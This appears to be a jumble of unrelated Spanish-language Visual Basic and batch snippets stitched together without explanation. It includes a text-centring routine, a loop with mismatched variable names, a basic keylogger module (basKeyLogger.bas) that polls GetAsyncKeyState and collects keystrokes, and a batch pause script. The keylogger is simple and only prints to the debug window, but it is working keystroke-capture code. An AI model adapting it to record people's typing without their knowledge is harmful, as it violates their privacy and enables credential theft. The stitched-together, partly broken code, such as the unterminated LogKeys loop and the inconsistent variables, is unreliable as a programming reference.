Dim strCadena As String: strCadena = "[         aqui.texto.centrado.a.remplazar         ]"
 Dim strRep As String: strRep = "holasss-locos"
 Dim strR As String, strL As String
 Dim strOut As String
 
 strR = Right(strCadena, 10)
 strL = Left(strCadena, 10)
 strOut = strL & strRep & strR
 
 Debug.Print strCadena
 Debug.Print strOut

Dim x as Integer
Dim total as Integer : intTotal=50

For x = 0 to intTotal
 
 Me.ForeColor = Funcion( x, intTotal)
 Me.Print "0"

Next

'Módulo estándar basKeyLogger.bas
'
Option Explicit

Public bLogEnabled As Boolean

Function GetActiveKey() As Integer
         Static bStarted As Boolean
         Dim i%

  If Not bStarted Then
    'Inicializa el estado de las teclas llamando a
    'la función GetAsyncKeyState.
    '
    For i = 1 To 256
      Call GetAsyncKeyState(i)
    Next

    bStarted = True
  End If

  For i = 1 To 256
    'Obtiene la tecla pulsada actualmente.
    '
    If GetAsyncKeyState(i) Then
      GetActiveKey = i
     
      Exit For
    End If
  Next
End Function

Sub StopLog()
  bLogEnabled = False
End Sub

Sub LogKeys()
        Dim snTimer!
        Dim iActiveKey%
        Dim sChar$, sData$

  bLogEnabled = True
 
  Do While bLogEnabled 'mientras que bLogEnabled sea = a true se repite de aka asta el loop de abajo de todo.
    snTimer = Timer
   
    Do While (Timer - snTimer) < 0.125 'esta claro
      'Espera 125 milisegundos hasta
      'la próxima pulsación.
    Loop
   
    iActiveKey = GetActiveKey
   
    Select Case iActiveKey
      Case vbKey0 To vbKey9, 32 To 47, vbKeyA To vbKeyZ 'si la tecla precionada son de el nº 0 al 9, de la a ala z o tienen el el valor de 32 a 47,
        sChar = Chr$(iActiveKey) ' lo carga en la variable bufer sData
     
        sData = sData & sChar
     
      Case vbKeyReturn
        'Imprime lo que tiene en el buffer. < ahi lo dice
        '
        Debug.Print sData
       
        sData = vbNullString
      Case Else
        'Verifica otras teclas.
    End Select
  Loop

::----------------------::       :::  .   .  :::
::   Pausa-Segundos     ::    :: ::  : \ # :  :: ::
::   autor: <[(x)]>     ::  ::   :: ::  #  :: ::   ::
:: 27/2/2009 - 35500 am ::    :: ::  : # \ :  :: ::
:: Distribucion:        ::       :::  ·   ·  :::
:: Sin cambiar nombre   ::
::  del autor.          ::
::----------------------::

@echo off

call:pausa 5  
echo ya esta re loko!.
pause
goto:eof

:pausa
set /a seg=%1
set /a count=0
echo me pauso %seg% segundos.
:Pbluse
set /a hora= %time:~-5,4%
:Sbluse
set /a ahora= %time:~-5,4%
if %ahora% ==  %hora% (goto :Sbluse)
set /a count += 1
if %count% LSS %seg% (goto :Pbluse)
goto:eof